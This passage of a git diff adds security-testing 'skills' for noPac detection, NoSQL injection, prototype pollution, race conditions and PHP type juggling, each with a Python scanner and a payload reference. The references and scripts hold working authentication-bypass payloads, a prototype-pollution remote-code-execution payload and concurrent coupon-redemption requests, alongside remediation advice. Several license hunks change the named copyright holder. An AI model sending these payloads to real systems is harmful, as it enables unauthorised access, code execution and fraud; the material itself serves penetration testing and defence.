( + "([ADSI]'LDAP://DC='+($env:USERDNSDOMAIN -replace '\\.',',DC=')).'ms-DS-MachineAccountQuota'" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=10 + ) + quota = int(result.strip()) if result.strip().isdigit() else -1 + return { + "machine_account_quota": quota, + "exploitable": quota > 0, + "note": "Quota > 0 means any domain user can create machine accounts", + } + except (subprocess.SubprocessError, ValueError): + return {"machine_account_quota": "unknown"} + + +def check_patch_status(): + """Check if KB5008380 (noPac patch) is installed.""" + if sys.platform != "win32": + return {"status": "non-windows"} + try: + result = subprocess.check_output( + ["wmic", "qfe", "list", "brief"], + text=True, errors="replace", timeout=15 + ) + patched = any(kb in result for kb in ["KB5008380", "KB5008602", "KB5008207"]) + return { + "patched": patched, + "relevant_kbs": ["KB5008380", "KB5008602", "KB5008207"], + } + except subprocess.SubprocessError: + return {"status": "check_failed"} + + +def enumerate_sam_name_impersonation(): + """Check for sAMAccountName impersonation conditions.""" + ps_cmd = ( + "Get-ADComputer -Filter * -Properties sAMAccountName | " + "Where-Object {$_.sAMAccountName -notmatch '\\$$'} | " + "Select-Object Name,sAMAccountName | ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=15 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def main(): + parser = argparse.ArgumentParser( + description="Detect noPac CVE-2021-42278/42287 vulnerability (authorized testing only)" + ) + parser.add_argument("--domain", help="AD domain") + parser.add_argument("--username", help="Domain username") + parser.add_argument("--password", help="Domain password") + parser.add_argument("--dc-ip", help="Domain controller IP") + parser.add_argument("--check-patch", action="store_true") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] noPac (CVE-2021-42278/42287) Detection Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.domain and args.username: + nopac = check_nopac_impacket( + args.domain, args.username, args.password or "", args.dc_ip or "" + ) + report["findings"]["nopac_scan"] = nopac + print(f"[*] noPac scan: {nopac.get('vulnerable', 'unknown')}") + + quota = check_machineaccountquota(args.domain, args.username, args.password or "", args.dc_ip or "") + report["findings"]["machine_quota"] = quota + + if args.check_patch: + patch = check_patch_status() + report["findings"]["patch_status"] = patch + print(f"[*] Patched: {patch.get('patched', 'unknown')}") + + report["risk_level"] = "CRITICAL" if any( + v.get("vulnerable") or v.get("exploitable") for v in report["findings"].values() if isinstance(v, dict) + ) else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-nosql-injection-vulnerabilities/LICENSE b/skills/exploiting-nosql-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +++ b/skills/exploiting-nosql-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md b/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..2fc5fac6 --- /dev/null +++ b/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md @@ -0,0 +1,85 @@ +# API Reference: NoSQL Injection Testing + +## MongoDB Query Operators + +| Operator | Description | Injection Use | +|----------|-------------|---------------| +| `$ne` | Not equal | Bypass authentication | +| `$gt` | Greater than | Extract data | +| `$regex` | Regular expression | Pattern matching | +| `$exists` | Field exists | Enumerate fields | +| `$where` | JavaScript expression | Code execution | +| `$or` | Logical OR | Logic bypass | + +## Authentication Bypass Payloads + +### GET Parameters +``` +?username[$ne]=&password[$ne]= +?username=admin&password[$gt]= +?username[$regex]=admin.*&password[$ne]= +``` + +### JSON Body +```json +{"username": {"$ne": ""}, "password": {"$ne": ""}} +{"username": "admin", "password": {"$gt": ""}} +{"username": {"$regex": "^admin"}, "password": {"$ne": ""}} +``` + +## Data Extraction + +### Regex-Based Extraction +```json +{"username": {"$regex": "^a"}, "password": {"$ne": ""}} +{"username": {"$regex": "^ad"}, "password": {"$ne": ""}} +{"username": {"$regex": "^adm"}, "password": {"$ne": ""}} +``` + +### $where JavaScript Injection +```json +{"$where": "this.username == 'admin' && this.password.match(/^a/)"} +``` + +## Error-Based Detection + +### MongoDB Error Messages +| Error | Indicator | +|-------|-----------| +| `MongoError` | MongoDB driver error | +| `CastError` | Invalid ObjectId | +| `BSONTypeError` | Invalid BSON type | +| `SyntaxError` | JavaScript parse error | + +## Testing Tools + +### NoSQLMap +```bash +python nosqlmap.py --url http://target/api/login --method POST \ + --data '{"username":"test","password":"test"}' +``` + +### Burp Suite Intruder +Use NoSQL payload wordlist with parameter fuzzing. + +## Python requests Testing + +### GET Injection +```python +import requests +url = "http://target/api/users" +resp = requests.get(f"{url}?username[$ne]=&password[$ne]=") +``` + +### JSON Injection +```python +payload = {"username": {"$ne": ""}, "password": {"$ne": ""}} +resp = requests.post(url, json=payload) +``` + +## Remediation +1. Use parameterized queries (never concatenate user input) +2. Validate input types (reject objects where strings expected) +3. Use `mongo-sanitize` or equivalent input sanitization +4. Disable `$where` operator if not needed +5. Implement proper authentication (don't rely on query-level checks) diff --git a/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..ba23ed94 --- /dev/null +++ b/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +"""Agent for testing NoSQL injection vulnerabilities in web applications.""" + +import argparse +import json +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +NOSQL_PAYLOADS_GET = [ + ("[$ne]", ""), + ("[$gt]", ""), + ("[$regex]", ".*"), + ("[$exists]", "true"), + ("[$nin][]", "impossible"), +] + +NOSQL_PAYLOADS_JSON = [ + {"$ne": ""}, + {"$gt": ""}, + {"$regex": ".*"}, + {"$exists": True}, + {"$where": "1==1"}, + {"$or": [{"a": 1}, {"b": 1}]}, +] + +ERROR_INDICATORS = [ + "mongoerror", "bson", "objectid", "cast to objectid", + "json parse error", "syntaxerror", "unexpected token", + "cannot read property", "mongodb", +] + + +def test_get_injection(url, param, token=None): + """Test NoSQL injection via GET parameter manipulation.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False) + baseline_len = len(baseline.text) + except requests.RequestException: + return findings + + for suffix, value in NOSQL_PAYLOADS_GET: + try: + test_url = f"{url}?{param}{suffix}={value}" + resp = requests.get(test_url, headers=headers, timeout=10, verify=False) + indicators = [] + if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3: + indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}") + for err in ERROR_INDICATORS: + if err in resp.text.lower(): + indicators.append(f"Error indicator: {err}") + if indicators: + findings.append({ + "param": param, "payload": f"{param}{suffix}={value}", + "method": "GET", "indicators": indicators, + }) + except requests.RequestException: + continue + return findings + + +def test_json_injection(url, field, token=None): + """Test NoSQL injection via JSON body.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + headers["Content-Type"] = "application/json" + try: + baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False) + baseline_len = len(baseline.text) + except requests.RequestException: + return findings + + for payload in NOSQL_PAYLOADS_JSON: + try: + resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False) + indicators = [] + if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3: + indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}") + for err in ERROR_INDICATORS: + if err in resp.text.lower(): + indicators.append(f"Error indicator: {err}") + if indicators: + findings.append({ + "field": field, "payload": str(payload), + "method": "POST", "indicators": indicators, + }) + except requests.RequestException: + continue + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Test NoSQL injection vulnerabilities (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="Target URL") + parser.add_argument("--param", help="GET parameter to test") + parser.add_argument("--field", help="JSON field to test") + parser.add_argument("--token", help="Bearer token") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] NoSQL Injection Testing Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []} + + if args.param: + findings = test_get_injection(args.url, args.param, args.token) + report["findings"].extend(findings) + if args.field: + findings = test_json_injection(args.url, args.field, args.token) + report["findings"].extend(findings) + + report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" + print(f"[*] NoSQL injection findings: {len(report['findings'])}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-oauth-misconfiguration/LICENSE b/skills/exploiting-oauth-misconfiguration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-oauth-misconfiguration/LICENSE +++ b/skills/exploiting-oauth-misconfiguration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-prototype-pollution-in-javascript/LICENSE b/skills/exploiting-prototype-pollution-in-javascript/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-prototype-pollution-in-javascript/LICENSE +++ b/skills/exploiting-prototype-pollution-in-javascript/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md b/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md new file mode 100644 index 00000000..1fd6896f --- /dev/null +++ b/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md @@ -0,0 +1,102 @@ +# API Reference: Prototype Pollution in JavaScript + +## What is Prototype Pollution? +Attacker modifies `Object.prototype` through unsafe object merge operations, +causing all JavaScript objects to inherit attacker-controlled properties. + +## Attack Vectors + +### JSON Body +```json +{"__proto__": {"isAdmin": true}} +{"constructor": {"prototype": {"isAdmin": true}}} +``` + +### Query Parameters +``` +?__proto__[isAdmin]=true +?constructor[prototype][isAdmin]=true +``` + +### URL Path +``` +/api/merge?__proto__.polluted=true +``` + +## Vulnerable Functions + +| Library | Function | Risk | +|---------|----------|------| +| Native | `Object.assign()` | Medium (shallow only) | +| lodash | `_.merge()` | HIGH | +| lodash | `_.defaultsDeep()` | HIGH | +| jQuery | `$.extend(true, ...)` | HIGH | +| hoek | `Hoek.merge()` | HIGH | +| node-forge | Various | HIGH | + +## Exploitation Impact + +### Privilege Escalation +```javascript +// Server checks: if (user.isAdmin) { ... } +// After pollution: Object.prototype.isAdmin = true +// All objects now have isAdmin = true +``` + +### RCE via Template Engines +```json +{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}} +``` + +### Denial of Service +```json +{"__proto__": {"toString": null}} +``` + +## Source Code Detection Patterns + +### Dangerous Sinks +```javascript +// lodash merge +_.merge(target, userInput) + +// Recursive assign +function merge(target, source) { + for (let key in source) { + target[key] = source[key] // No __proto__ check! + } +} +``` + +### Safe Alternatives +```javascript +// Object.create(null) — no prototype +const obj = Object.create(null) + +// Filter __proto__ +if (key === '__proto__' || key === 'constructor') continue; + +// Object.freeze(Object.prototype) +Object.freeze(Object.prototype) // Prevent modification +``` + +## Testing with pp-finder + +```bash +# Scan npm package for prototype pollution +npx pp-finder /path/to/node_modules/package +``` + +## Burp Suite Extension — Server-Side Prototype Pollution + +### Detection +1. Send `{"__proto__": {"status": 510}}` in JSON body +2. If response status changes to 510, server is vulnerable +3. Send `{"__proto__": {"json spaces": 10}}` — response indentation changes + +## Remediation +1. Use `Map` instead of plain objects for user data +2. Freeze `Object.prototype` +3. Validate/sanitize keys: reject `__proto__`, `constructor`, `prototype` +4. Use `Object.create(null)` for merge targets +5. Update vulnerable libraries (lodash >= 4.17.12) diff --git a/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py b/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py new file mode 100644 index 00000000..c91d59e0 --- /dev/null +++ b/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Agent for detecting prototype pollution vulnerabilities in JavaScript applications.""" + +import argparse +import json +import re +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +PROTOTYPE_PAYLOADS = [ + {"__proto__": {"isAdmin": True}}, + {"__proto__": {"role": "admin"}}, + {"constructor": {"prototype": {"isAdmin": True}}}, + {"__proto__": {"status": 200}}, + {"__proto__": {"polluted": True}}, +] + +PROTOTYPE_PAYLOADS_QUERY = [ + "__proto__[isAdmin]=true", + "__proto__[role]=admin", + "constructor[prototype][isAdmin]=true", + "__proto__.isAdmin=true", +] + + +def test_json_pollution(url, token=None): + """Test for prototype pollution via JSON body.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + headers["Content-Type"] = "application/json" + + for payload in PROTOTYPE_PAYLOADS: + try: + resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) + resp_text = resp.text.lower() + indicators = [] + if "isadmin" in resp_text and "true" in resp_text: + indicators.append("isAdmin property reflected in response") + if resp.status_code == 200: + try: + resp_json = resp.json() + if resp_json.get("isAdmin") or resp_json.get("polluted"): + indicators.append("Prototype property present in response object") + except json.JSONDecodeError: + pass + if "500" in str(resp.status_code): + indicators.append("Server error — potential prototype chain disruption") + if indicators: + findings.append({ + "payload": str(payload), + "status_code": resp.status_code, + "indicators": indicators, + "severity": "CRITICAL", + }) + except requests.RequestException: + continue + return findings + + +def test_query_pollution(url, token=None): + """Test for prototype pollution via query parameters.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + + for payload in PROTOTYPE_PAYLOADS_QUERY: + try: + test_url = f"{url}?{payload}" + resp = requests.get(test_url, headers=headers, timeout=10, verify=False) + if resp.status_code == 500: + findings.append({ + "payload": payload, "method": "GET", + "status_code": 500, + "indicators": ["Server error from prototype pollution"], + "severity": "HIGH", + }) + except requests.RequestException: + continue + return findings + + +def scan_source_code(file_path): + """Scan JavaScript source for prototype pollution sinks.""" + findings = [] + vulnerable_patterns = [ + (r'Object\.assign\s*\([^)]*,\s*\w+\)', "Object.assign with user input"), + (r'_\.merge\s*\(', "lodash merge (deep merge)"), + (r'_\.defaultsDeep\s*\(', "lodash defaultsDeep"), + (r'jQuery\.extend\s*\(\s*true', "jQuery deep extend"), + (r'\$\.extend\s*\(\s*true', "jQuery deep extend"), + (r'JSON\.parse\s*\([^)]*\)', "JSON.parse (check input source)"), + (r'\.prototype\[', "Direct prototype access"), + (r'\[(["\'])__proto__\1\]', "__proto__ string access"), + ] + try: + with open(file_path, "r", errors="replace") as f: + content = f.read() + for i, line in enumerate(content.splitlines(), 1): + for pattern, desc in vulnerable_patterns: + if re.search(pattern, line): + findings.append({ + "file": file_path, "line": i, + "pattern": desc, "code": line.strip()[:100], + }) + except FileNotFoundError: + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect prototype pollution in JavaScript apps (authorized testing only)" + ) + parser.add_argument("--url", help="Target URL to test") + parser.add_argument("--source", help="JavaScript source file to audit") + parser.add_argument("--token", help="Bearer token") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Prototype Pollution Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.url: + json_findings = test_json_pollution(args.url, args.token) + query_findings = test_query_pollution(args.url, args.token) + report["findings"].extend(json_findings) + report["findings"].extend(query_findings) + print(f"[*] HTTP findings: {len(json_findings) + len(query_findings)}") + + if args.source: + src_findings = scan_source_code(args.source) + report["findings"].extend(src_findings) + print(f"[*] Source code findings: {len(src_findings)}") + + report["risk_level"] = "CRITICAL" if any( + f.get("severity") == "CRITICAL" for f in report["findings"] + ) else "HIGH" if report["findings"] else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-race-condition-vulnerabilities/LICENSE b/skills/exploiting-race-condition-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-race-condition-vulnerabilities/LICENSE +++ b/skills/exploiting-race-condition-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md b/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..63419848 --- /dev/null +++ b/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md @@ -0,0 +1,84 @@ +# API Reference: Race Condition Vulnerability Testing + +## Types of Race Conditions + +| Type | Description | Example | +|------|-------------|---------| +| TOCTOU | Time-of-check to time-of-use | Balance check then debit | +| Double-spend | Multiple withdrawals before balance update | Gift card reuse | +| Limit bypass | Concurrent requests bypass rate limits | Coupon reuse | +| State mutation | Concurrent writes corrupt state | Inventory overselling | + +## Python Threading for Concurrent Requests + +### Barrier Synchronization +```python +import threading +barrier = threading.Barrier(10) + +def worker(): + barrier.wait() # All threads release simultaneously + requests.post(url, json=data) + +threads = [threading.Thread(target=worker) for _ in range(10)] +for t in threads: t.start() +for t in threads: t.join() +``` + +## Turbo Intruder (Burp Suite) + +### Race Condition Script +```python +def queueRequests(target, wordlists): + engine = RequestEngine(endpoint=target.endpoint, + concurrentConnections=30, + requestsPerConnection=100, + pipeline=False) + for i in range(30): + engine.queue(target.req) + +def handleResponse(req, interesting): + table.add(req) +``` + +## HTTP/2 Single-Packet Attack + +### Concept +Send multiple requests in a single TCP packet using HTTP/2 multiplexing +to eliminate network jitter and maximize race window. + +### curl Example +```bash +# Send 10 requests simultaneously via HTTP/2 +for i in $(seq 1 10); do + curl -X POST https://target/api/redeem \ + -H "Content-Type: application/json" \ + -d '{"coupon": "SAVE50"}' & +done +wait +``` + +## Analysis Indicators + +| Indicator | Meaning | +|-----------|---------| +| Multiple 200 responses | Operation executed multiple times | +| Different response bodies | State changed between requests | +| Mixed status codes | Inconsistent handling | + +## Common Vulnerable Operations + +| Operation | Impact | +|-----------|--------| +| Coupon/voucher redemption | Financial loss | +| Money transfer | Double-spend | +| Like/vote submission | Manipulation | +| Account creation | Duplicate accounts | +| File upload | Overwrite race | + +## Remediation +1. Use database-level locking (`SELECT ... FOR UPDATE`) +2. Implement idempotency keys +3. Use atomic operations (e.g., `UPDATE balance = balance - X WHERE balance >= X`) +4. Apply distributed locks (Redis SETNX) +5. Implement optimistic concurrency (version fields) diff --git a/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py b/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..67d41bdd --- /dev/null +++ b/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python3 +"""Agent for testing race condition (TOCTOU) vulnerabilities in web applications.""" + +import argparse +import json +import sys +import threading +import time +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +def send_concurrent_requests(url, method, data, headers, count, results_list): + """Send multiple identical requests concurrently to trigger race conditions.""" + if not HAS_REQUESTS: + return + barrier = threading.Barrier(count) + + def worker(idx): + try: + barrier.wait(timeout=5) + if method == "POST": + resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False) + elif method == "PUT": + resp = requests.put(url, json=data, headers=headers, timeout=15, verify=False) + else: + resp = requests.get(url, headers=headers, timeout=15, verify=False) + results_list.append({ + "thread": idx, + "status_code": resp.status_code, + "response_length": len(resp.content), + "response_preview": resp.text[:200], + "elapsed": resp.elapsed.total_seconds(), + }) + except Exception as e: + results_list.append({"thread": idx, "error": str(e)[:100]}) + + threads = [] + for i in range(count): + t = threading.Thread(target=worker, args=(i,)) + threads.append(t) + t.start() + for t in threads: + t.join(timeout=20) + + +def analyze_results(results): + """Analyze concurrent request results for race condition indicators.""" + indicators = [] + success_count = sum(1 for r in results if r.get("status_code") == 200) + if success_count > 1: + indicators.append(f"{success_count} successful responses (expected 1 for idempotent operations)") + + response_bodies = [r.get("response_preview", "") for r in results if r.get("status_code") == 200] + unique_bodies = set(response_bodies) + if len(unique_bodies) > 1: + indicators.append(f"Different response bodies across concurrent requests: {len(unique_bodies)} unique") + + status_codes = [r.get("status_code") for r in results if r.get("status_code")] + if len(set(status_codes)) > 1: + indicators.append(f"Mixed status codes: {set(status_codes)}") + + return indicators + + +def test_race_condition(url, method, data, token, concurrency): + """Execute race condition test.""" + headers = {"Authorization": f"Bearer {token}"} if token else {} + headers["Content-Type"] = "application/json" + results = [] + send_concurrent_requests(url, method, data, headers, concurrency, results) + indicators = analyze_results(results) + return { + "url": url, + "method": method, + "concurrency": concurrency, + "responses": results, + "race_indicators": indicators, + "potential_race": len(indicators) > 0, + } + + +def main(): + parser = argparse.ArgumentParser( + description="Test race condition vulnerabilities (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="Target URL") + parser.add_argument("--method", default="POST", choices=["GET", "POST", "PUT"]) + parser.add_argument("--data", default="{}", help="JSON payload") + parser.add_argument("--token", help="Bearer token") + parser.add_argument("--concurrency", type=int, default=10, help="Concurrent requests") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Race Condition Testing Agent") + print("[!] For authorized security testing only") + data = json.loads(args.data) + result = test_race_condition(args.url, args.method, data, args.token, args.concurrency) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "test_result": result, + "risk_level": "HIGH" if result["potential_race"] else "LOW", + } + print(f"[*] Race condition detected: {result['potential_race']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-server-side-request-forgery/LICENSE b/skills/exploiting-server-side-request-forgery/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-server-side-request-forgery/LICENSE +++ b/skills/exploiting-server-side-request-forgery/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE b/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE +++ b/skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-sql-injection-vulnerabilities/LICENSE b/skills/exploiting-sql-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-sql-injection-vulnerabilities/LICENSE +++ b/skills/exploiting-sql-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-sql-injection-with-sqlmap/LICENSE b/skills/exploiting-sql-injection-with-sqlmap/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-sql-injection-with-sqlmap/LICENSE +++ b/skills/exploiting-sql-injection-with-sqlmap/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-template-injection-vulnerabilities/LICENSE b/skills/exploiting-template-injection-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-template-injection-vulnerabilities/LICENSE +++ b/skills/exploiting-template-injection-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-type-juggling-vulnerabilities/LICENSE b/skills/exploiting-type-juggling-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-type-juggling-vulnerabilities/LICENSE +++ b/skills/exploiting-type-juggling-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md b/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..5ce32b23 --- /dev/null +++ b/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md @@ -0,0 +1,87 @@ +# API Reference: Type Juggling Vulnerabilities + +## PHP Loose Comparison (==) vs Strict (===) + +### Dangerous Comparisons +| Expression | Result | Why | +|-----------|--------|-----| +| `0 == "string"` | TRUE | String cast to int = 0 | +| `"0e123" == "0e456"` | TRUE | Both treated as 0 (scientific notation) | +| `true == "anything"` | TRUE | Non-empty string is truthy | +| `NULL == ""` | TRUE | Both falsy | +| `[] == false` | TRUE | Empty array is falsy | + +## Magic Hash Strings + +### MD5 Hashes Starting with 0e +| Input | MD5 Hash | +|-------|----------| +| 240610708 | 0e462097431906509019562988736854 | +| QNKCDZO | 0e830400451993494058024219903391 | +| aabg7XSs | 0e087386482136013740957780965295 | +| aabC9RqS | 0e041022518165728065344349536617 | + +### SHA1 Hashes Starting with 0e +| Input | SHA1 Hash | +|-------|-----------| +| aaroZmOk | 0e17... | + +## Authentication Bypass Payloads + +### JSON Payloads +```json +{"username": "admin", "password": true} +{"username": "admin", "password": 0} +{"username": "admin", "password": []} +``` + +### Why This Works +```php +// Vulnerable PHP code +if ($password == $stored_hash) { // Loose comparison! + authenticate(); +} +// true == "any_string" => TRUE +// 0 == "non_numeric_string" => TRUE (PHP < 8.0) +``` + +## Token/OTP Bypass + +### Loose Comparison on Tokens +```php +// Vulnerable +if ($_POST['token'] == $valid_token) { ... } + +// Attack: send integer 0 +// 0 == "a1b2c3..." => TRUE (PHP < 8.0) +``` + +### JSON Type Manipulation +```json +{"otp": 0} // 0 == "123456" in PHP < 8.0 +{"otp": true} // true == "123456" is TRUE +``` + +## Testing with requests + +```python +import requests +# Boolean bypass +resp = requests.post(url, json={"password": True}) +# Integer bypass +resp = requests.post(url, json={"password": 0}) +# Array bypass +resp = requests.post(url, json={"password": []}) +``` + +## PHP 8.0 Changes +- `0 == "string"` now returns FALSE (fixed) +- `0 == ""` now returns FALSE +- Still vulnerable: `"0e123" == "0e456"` returns TRUE + +## Remediation +1. Always use strict comparison (`===`) +2. Validate input types before comparison +3. Use `password_verify()` for passwords +4. Use `hash_equals()` for timing-safe comparison +5. Upgrade to PHP 8.0+ diff --git a/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py b/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..cf978c06 --- /dev/null +++ b/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Agent for testing type juggling vulnerabilities in PHP and loosely-typed applications.""" + +import argparse +import json +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +TYPE_JUGGLING_PAYLOADS = { + "magic_hashes": [ + {"value": "0e462097431906509019562988736854", "note": "MD5 of '240610708' — equals 0 in loose comparison"}, + {"value": "0e215962017", "note": "MD5 of 'QNKCDZO' — equals 0"}, + {"value": 0, "note": "Integer 0 == '0e...' in PHP loose comparison"}, + {"value": True, "note": "Boolean true == any non-empty string in PHP"}, + {"value": [], "note": "Empty array == NULL in some contexts"}, + ], + "type_coercion": [ + {"field": "password", "value": True, "note": "true == 'any_string' in PHP"}, + {"field": "password", "value": 0, "note": "0 == 'string' in PHP"}, + {"field": "token", "value": 0, "note": "0 == 'hex_token' in PHP"}, + {"field": "otp", "value": True, "note": "true == '123456' 